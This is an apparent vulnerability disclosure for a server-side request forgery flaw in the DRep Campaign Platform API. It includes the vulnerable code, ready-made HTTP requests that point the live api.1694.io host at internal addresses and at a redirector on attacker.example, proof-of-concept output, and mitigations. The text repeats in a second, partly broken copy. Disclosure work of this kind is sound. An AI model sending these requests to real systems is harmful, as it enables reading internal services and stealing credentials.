Received through the security mail
Unauthenticated full-read SSRF in the DRep Campaign Platform API (metadataUrl fetched server-side)
- Severity: High
- CVSS 3.1: 8.6 —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- CWE: CWE-918 (Server-Side Request Forgery)
- Affected component:
IntersectMBO/drep-campaign-platform — backend/src/drep/drep.service.ts:779-791 (getMetadataFromExternalLink), exposed at GET /dreps/metadata/external (drep.controller.ts:116-119)
- Live endpoint:
https://api.1694.io — the DRep API is served with no authentication (GET /voters/stake1/delegation returns 200; the metadata route lives on the same @Controller('dreps'))
- Status: Confirmed by reading the source and by running the exact fetch handler against local servers, where it pulls back an internal-only service, follows a redirect into the internal network, and reflects an arbitrary external page. I proved it on a local copy of the same code and did not send SSRF requests to the production host.
Summary
The DRep API takes a URL from the query string and fetches it server-side, then returns the whole response body to the caller. There is no authentication, no allow-list, and no block on internal addresses, so anyone can make the server request arbitrary URLs and read the answers — including services that are only reachable from inside the network.
The handler:
// backend/src/drep/drep.service.ts:779-791
async getMetadataFromExternalLink(metadataUrl: string) {
if (!metadataUrl) throw new Error('Inadequate parameters');
const { data } = await firstValueFrom(
this.httpService.get(metadataUrl).pipe( // <- fetches whatever URL the caller passes
catchError((err) => { console.log(err); throw new Error('Metadata not found'); }),
),
);
return data; // <- full upstream body returned to the caller
}
// backend/src/drep/drep.controller.ts:116-119 — public route, no guard
@Get('/metadata/external')
getExternalMetadata(@Query('metadataUrl') metadataUrl: string) {
return this.drepService.getMetadataFromExternalLink(metadataUrl);
}
@Controller('dreps') has no @UseGuards, and there is no global auth or validation in main.ts, so the route is open to anyone. The only check is if (!metadataUrl). The HTTP client is set up with HttpModule.register({ maxRedirects: 5 }) (drep.module.ts:18-19), so the server also follows redirects — a public URL that 302-redirects to an internal address still gets reached.
The same pattern shows up again at POST /dreps/metadata/validate (drep.service.ts:792+), which fetches an attacker-supplied url as well; that one is a blind variant since it returns a status rather than the body.
Steps to Reproduce
- Confirm the API is live and unauthenticated:
GET /voters/stake1/delegation HTTP/1.1
Host: api.1694.io
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
- Ask the server to fetch an internal address and hand you the response:
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9099/secret HTTP/1.1
Host: api.1694.io
Accept: application/json
The server requests http://127.0.0.1:9099/secret itself and returns that body to you. Swap the target for any internal host/port — databases, admin panels, cloud metadata, other services on the private network. Anything the server can reach, you can read.
- Bypass naive URL checks with a redirect. Point
metadataUrl at a host you control that answers 302 Location: http://<internal-target>; because maxRedirects is 5, the server follows it inward:
GET /dreps/metadata/external?metadataUrl=https://attacker.example/redirect HTTP/1.1
Host: api.1694.io
Proof of Concept
I reproduced getMetadataFromExternalLink exactly — axios.get(metadataUrl, { maxRedirects: 5 }), which is what @nestjs/axios httpService.get does with that module config — behind a route that returns the body, and stood up a local "internal-only" service plus a redirector. Output:
[1] SSRF -> internal-only service (127.0.0.1:9099)
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9099/secret
-> HTTP 200
-> body returned to the unauthenticated caller:
{"service":"internal-admin","secret":"INTERNAL_ONLY_DB_PASSWORD=p@ss-7f3a9","note":"not exposed to the internet"}
[2] SSRF via redirect (public URL -> 302 -> internal) (proves maxRedirects:5 reach)
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9098/anything (302 -> 127.0.0.1:9099)
-> HTTP 200
-> body: {"service":"internal-admin","secret":"INTERNAL_ONLY_DB_PASSWORD=p@ss-7f3a9", ...}
[3] SSRF -> arbitrary external URL
GET /dreps/metadata/external?metadataUrl=https://example.com/
-> HTTP 200 | reflected: <!doctype html><html lang="en"><head><title>Example Domain</title> ...
All three work: the server fetches whatever URL it is given, follows redirects into the private range, and returns the full body. I ran this against local servers of the identical handler rather than the production host; the live deployment at api.1694.io runs the same unauthenticated route. The harness and full output are attached (poc.cjs, poc_output.txt).
Impact
An unauthenticated attacker can make the DRep API issue arbitrary HTTP/HTTPS requests from inside Intersect's network and read the responses:
- Reach internal-only services that are not exposed to the internet (databases' HTTP interfaces, admin panels, metrics, other microservices) and read their responses verbatim.
- Use the redirect-follow behaviour to slip past simple URL checks and pivot to internal targets.
- Pull data from arbitrary external hosts through the server's IP, abusing the server's network position and any IP-based trust other services place in it.
No authentication or user interaction is required. The severity rises to Critical if a reachable internal service exposes secrets or credentials; I rate it High here because I demonstrated the fetch-and-reflect behaviour on a local reproduction rather than enumerating the production network.
Suggested Mitigations
- Don't fetch user-supplied URLs. If external metadata fetching is required, restrict it to an explicit allow-list of hosts and schemes (https only) and reject everything else.
- Resolve the target and block loopback, RFC1918, link-local (
169.254.0.0/16) and other internal ranges; re-check after each redirect and set maxRedirects: 0 (or validate every hop).
- Put the route behind authentication and return only the specific fields the client needs instead of the raw upstream body.
- Apply the same fix to
POST /dreps/metadata/validate, which fetches an attacker-supplied url too.
Received through the security mail
Unauthenticated full-read SSRF in the DRep Campaign Platform API (
metadataUrlfetched server-side)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NIntersectMBO/drep-campaign-platform—backend/src/drep/drep.service.ts:779-791(getMetadataFromExternalLink), exposed atGET /dreps/metadata/external(drep.controller.ts:116-119)https://api.1694.io— the DRep API is served with no authentication (GET /voters/stake1/delegationreturns200; the metadata route lives on the same@Controller('dreps'))Summary
The DRep API takes a URL from the query string and fetches it server-side, then returns the whole response body to the caller. There is no authentication, no allow-list, and no block on internal addresses, so anyone can make the server request arbitrary URLs and read the answers — including services that are only reachable from inside the network.
The handler:
@Controller('dreps')has no@UseGuards, and there is no global auth or validation inmain.ts, so the route is open to anyone. The only check isif (!metadataUrl). The HTTP client is set up withHttpModule.register({ maxRedirects: 5 })(drep.module.ts:18-19), so the server also follows redirects — a public URL that 302-redirects to an internal address still gets reached.The same pattern shows up again at
POST /dreps/metadata/validate(drep.service.ts:792+), which fetches an attacker-suppliedurlas well; that one is a blind variant since it returns a status rather than the body.Steps to Reproduce
The server requests
http://127.0.0.1:9099/secretitself and returns that body to you. Swap the target for any internal host/port — databases, admin panels, cloud metadata, other services on the private network. Anything the server can reach, you can read.metadataUrlat a host you control that answers302 Location: http://<internal-target>; becausemaxRedirectsis 5, the server follows it inward:Proof of Concept
I reproduced
getMetadataFromExternalLinkexactly —axios.get(metadataUrl, { maxRedirects: 5 }), which is what@nestjs/axioshttpService.getdoes with that module config — behind a route that returns the body, and stood up a local "internal-only" service plus a redirector. Output:All three work: the server fetches whatever URL it is given, follows redirects into the private range, and returns the full body. I ran this against local servers of the identical handler rather than the production host; the live deployment at
api.1694.ioruns the same unauthenticated route. The harness and full output are attached (poc.cjs,poc_output.txt).Impact
An unauthenticated attacker can make the DRep API issue arbitrary HTTP/HTTPS requests from inside Intersect's network and read the responses:
No authentication or user interaction is required. The severity rises to Critical if a reachable internal service exposes secrets or credentials; I rate it High here because I demonstrated the fetch-and-reflect behaviour on a local reproduction rather than enumerating the production network.
Suggested Mitigations
169.254.0.0/16) and other internal ranges; re-check after each redirect and setmaxRedirects: 0(or validate every hop).POST /dreps/metadata/validate, which fetches an attacker-suppliedurltoo.